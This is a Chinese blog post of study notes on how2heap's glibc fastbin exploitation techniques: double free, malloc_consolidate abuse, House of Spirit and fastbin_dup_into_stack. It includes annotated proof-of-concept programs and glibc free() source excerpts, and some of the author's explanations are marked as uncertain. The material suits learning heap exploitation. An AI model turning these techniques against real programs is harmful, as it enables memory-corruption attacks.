Zj_W1nd's BLOG

How2Heap(1)-fastbin(完整版)

2023/11/09

本来想用docker实现的,装了ubuntu 16.04之后发现kali开不开了,查了下才知道docker启用了一种叫HYPER V的东西,和VM冲突了。。这俩不能同时开。


没想到还有How2heap这种好东西,对我这种堆问题的苦手帮助很大。从Fastbin的DoubleFree开始,先来看看Fastbin的漏洞。

Fastbin Double Free(dup)

这是我们后面要谈的漏洞操作的基础。Fastbin中chunk的prev_inuse位不会被置空,这意味着我们可以多次释放同一个物理chunk从而在fastbin的逻辑链表中插入多个相同物理地址的chunk进行利用。引用CTF Wiki的说法:

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。
Fastbin Double Free 能够成功利用主要有两部分的原因:

  • fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
  • fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。——CTF Wiki

由于只对main_arena直接连接的chunk进行检查,所以在申请三个符合大小的chunk之后,只需要这样就可以达成doublefree的效果:

1
2
3
4
5
6
7
8
9
10
11
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
free(a);
free(b);
free(a);
//此时fastbin中:main_arena->a->b->a,注意尾部的a也同样指向b
a=malloc(8);
b=malloc(8);
c=malloc(8);
//此时a和c应该同样指向一块物理chunk

Fastbin dup consolidate (malloc_consolidate vul)

开始之前,先来谈一些前置的知识:

这个漏洞的标题指的是malloc_consolidate()函数。consolidate意为“整合”,这个函数专门用于处理合并fastbin中的chunk,是我们取largebin大小chunk前ptmalloc所谓的“大循环”操作调用的一个重要函数。同时它还兼具初始化(设置一些宏)fastbin的作用。这里我们根据how2heap的提示,学习它关于fastbin的一些漏洞利用。

如果申请的chunk大小smallbin也无法满足,在调用largebin之前,malloc()就会调用这个函数对fastbin进行整理,将他们合并到unsorted_bin或者topchunk。这个函数网上的分析感觉都非常会乱或者有的地方有矛盾,这里参考了一篇带完整源码的文章。大概过程是这样:

  1. 调用clear_fastchunks()清空fastbin的prev_inuse标志位

  2. 用二层循环(表头数组+链表)遍历所有的fastbin,检查物理地址的前后是个什么状况

  3. 如果物理相邻的前一个chunk也是free的,就将p从bin中unlink后将其合并到前一个chunk,否则不管

  4. 如果物理地址相邻后一个chunk是topchunk,就直接放进去然后退出循环

  5. 如果不是topchunk,就对后一个chunk重复3,把他们合并。

  6. 最后放入unsorted_bin中

几个小细节:topchunk是地址最高的那块;同时上面提到的所有所谓“合并”操作,基本就是将对应chunk解链unlink出来后更新相邻chunk的size大小而已。

这个漏洞的利用还涉及一些fastbin的小细节:

默认情况下(32 位系统为例),fastbin 中默认支持最大的 chunk 的数据空间大小为 64 字节。但是其可以支持的 chunk 的数据空间最大为 80 字节。除此之外, fastbin 最多可以支持的 bin 的个数为 10 个,从数据空间为 8 字节开始一直到 80 字节(注意这里说的是数据空间大小,也即除去 prev_size 和 size 字段部分的大小)——CTF Wiki

虽然代码中写的这是用于绕过tcache double free检测的,但是tcache是glibc-2.26之后引入的技术,所以我们复现漏洞时使用的glibc-2.23这里应该还是利用了fastbin漏洞。

然后来看代码,这里之前没懂的地方都打上注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");

void* p1 = calloc(1,0x40);//第一次调用malloc,紧邻topchunk

printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);//目前fastbin中有一个p1

void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");
//讲一下为什么p1=p3,本来p1就是挨着topchunk,触发consolidate之后p1直接指向topchunk,而p3又是从
//topchunk中切出来的,所以p1和p3本质指向一块内存,即free(p1)后的topchunk地址
assert(p1 == p3);

printf("Triggering the double free vulnerability!\n\n");
free(p1);
//p1和p3本质没区别,就是重新把p3塞回topchunk,p4就是把p3又取出来
void *p4 = malloc(0x400);

assert(p4 == p3);

printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}

这个漏洞的关键是malloc_consolidate()的这段代码:

1
2
3
4
5
else { //判断紧邻topchunk之后的动作
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

因此上述漏洞的本质就是在topchunk边缘不停地取chunk再放回去再取出来再放回去的过程。

House of Spirit

首先写点没用的,在堆漏洞的利用中,house of xx一般代表的是通过伪造chunk来达到攻击目的。这种说法最早出自于2004 年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对 glibc 堆分配器的利用方法。

不过现在我们说的House of XX的利用和最初提出时候的说法显然是大不相同了。这些漏洞利用手段各不相同,针对的点也都各不一样。House of Spirit就是一种把我们精心伪造的chunk通过free()放进fastbin中,再通过malloc()从里面“取出”实现任意地址分配chunk的攻击方式。

检查原理?

思想很简单,但具体怎么构造这个fake_chunk就要考虑free()函数的检查方式了,到了最痛苦的glibc源码环节,我们先只看fastbin的部分。先来个CTFWiki的省流版本,后面一点点看:

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。 ——这一步在__libc_free()函数(一个包装函数)中实现,发现是mmap的就不进入_init_free()
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK ——开头检查
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。 ——开头检查
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。 ——通过size判断是fastbin之后内部会有检查
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。 ——释放前检查,只查链表头
    ——CTFWiki

_init_free()函数在开头做了一些小检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect((uintptr_t) p > (uintptr_t) -size, 0) ||
__builtin_expect(misaligned_chunk(p), 0)) {
/*指针必须≤-size(防乱指?这个检查原理没有太懂,都按正数比较这个检查没啥用,正常地址都符合)并且对齐
这是个宏#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem(p)) & \
MALLOC_ALIGN_MASK)*/
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked) __libc_lock_unlock(av->mutex);
malloc_printerr(check_action, errstr, chunk2mem(p), av);
return;
}
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
// 大小没有最小的chunk大,或者说,大小不是MALLOC_ALIGNMENT的整数倍
if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size))) {
errstr = "free(): invalid size";
goto errout;
}
// 检查该chunk是否处于使用状态,非调试状态下没有作用
check_inuse_chunk(av, p);

同时,_init_free()是通过size判断是否按fastbin处理,换句话说在整个函数中fastbin是最先被判断的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
    /*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long) (size) <= (unsigned long) (get_max_fast())//就是这里

#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
//默认 #define TRIM_FASTBINS 0,因此默认情况下下面的语句不会执行
// 如果当前chunk是fast chunk,并且下一个chunk是top chunk,则不能插入
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
// 下一个chunk的大小不能小于两倍的SIZE_SZ,并且
// 下一个chunk的大小不能大于system_mem, 一般为132k
// 如果出现这样的情况,就报错。
if (__builtin_expect(
chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(
chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0)) {
/* We might not have a lock at this point and concurrent
modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock || ({
assert(locked == 0);
__libc_lock_lock(av->mutex);
locked = 1;
chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ ||
chunksize(chunk_at_offset(p, size)) >= av->system_mem;
})) {
errstr = "free(): invalid next size (fast)";
goto errout;//上面安全检查定义的标志,输出errstr然后退出
}
if (!have_lock) {
__libc_lock_unlock(av->mutex);
locked = 0;
}
}
// 将chunk的mem部分全部设置为perturb_byte
free_perturb(chunk2mem(p), size - 2 * SIZE_SZ);
// 设置fast chunk的标记位
set_fastchunks(av);
// 根据大小获取fast bin的索引
unsigned int idx = fastbin_index(size);
// 获取对应fastbin的头指针,被初始化后为NULL。
fb = &fastbin(av, idx);

/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
// 使用原子操作将P插入到链表中
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do {
/* Check that the top of the bin is not the record we are going to
add
(i.e., double free). */
// so we can not double free one fastbin chunk
// 防止对 fast bin double free,检查当前链表头是否就是正在处理的p
if (__builtin_expect(old == p, 0)) {
errstr = "double free or corruption (fasttop)";
goto errout;
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
deallocated. See use of OLD_IDX below for the actual check. */
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
} while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2)) !=
old2);
// 确保fast bin的加入前与加入后相同
if (have_lock && old != NULL && __builtin_expect(old_idx != idx, 0)) {
errstr = "invalid fastbin entry (free)";
goto errout;
}
}

攻击exp…

How2heap中提供的exp代码是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
// 我们“认为”这10个8字节的region包含两个chunk,fake_chunk[0]是不是不用了?

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size 0100 0000,这里说的得多16字节是因为要存0、1也就是指针自己的大小。
// 由于lsb,低地址存低位

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8。fake_chunk[0-7]代表了chunk1,8和9是下一个chunk2的size字段,我们在9上随便写写
fake_chunks[9] = 0x1234; // nextsize 这个检查也相当于没有检查。。总之地址上证明自己不是topchunk,size上合法就行了

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];//可写区域

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));//放回之后取0x30就正好,size是0x40,但是0x30-0x38都会被对齐到0x40
}

chunk的每个字段都是机器字长8字节,他们都是:

二编:这里并不确定

  • 0:prev_size:前一个chunk的复用段,不使用

  • 1:chunk1的size字段

  • 2-7: 0x30大小,chunk1的数据域

  • 8和9:假装有nextchunk,chunk2的prevsize和size字段

所以其实很简单地就绕过了free()的检查,我们将一个chunk分配到了栈上!

fastbin_dup_into_stack

参考下面exp的注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8); //注意,这里malloc就从fastbin里面把头结点的chunk取了出来,也就是a。但是我们链表里有两个a在,还有个a

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));//d指向的是fastbin中那块chunk的fd指针,直接覆写掉,劫持到栈上

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

思路很好懂了,操作也比house_of_spirit简单。利用double_free,劫持fastbin里面chunk的fd指针。当仅剩一个chunk的时候,劫持fd指针到我们的栈上,这样malloc会以为fastbin中还有剩余chunk,下下次分配就会把chunk分配到栈上。

CATALOG
  1. 1. Fastbin Double Free(dup)
  2. 2. Fastbin dup consolidate (malloc_consolidate vul)
  3. 3. House of Spirit
    1. 3.1. 检查原理?
    2. 3.2. 攻击exp…
  4. 4. fastbin_dup_into_stack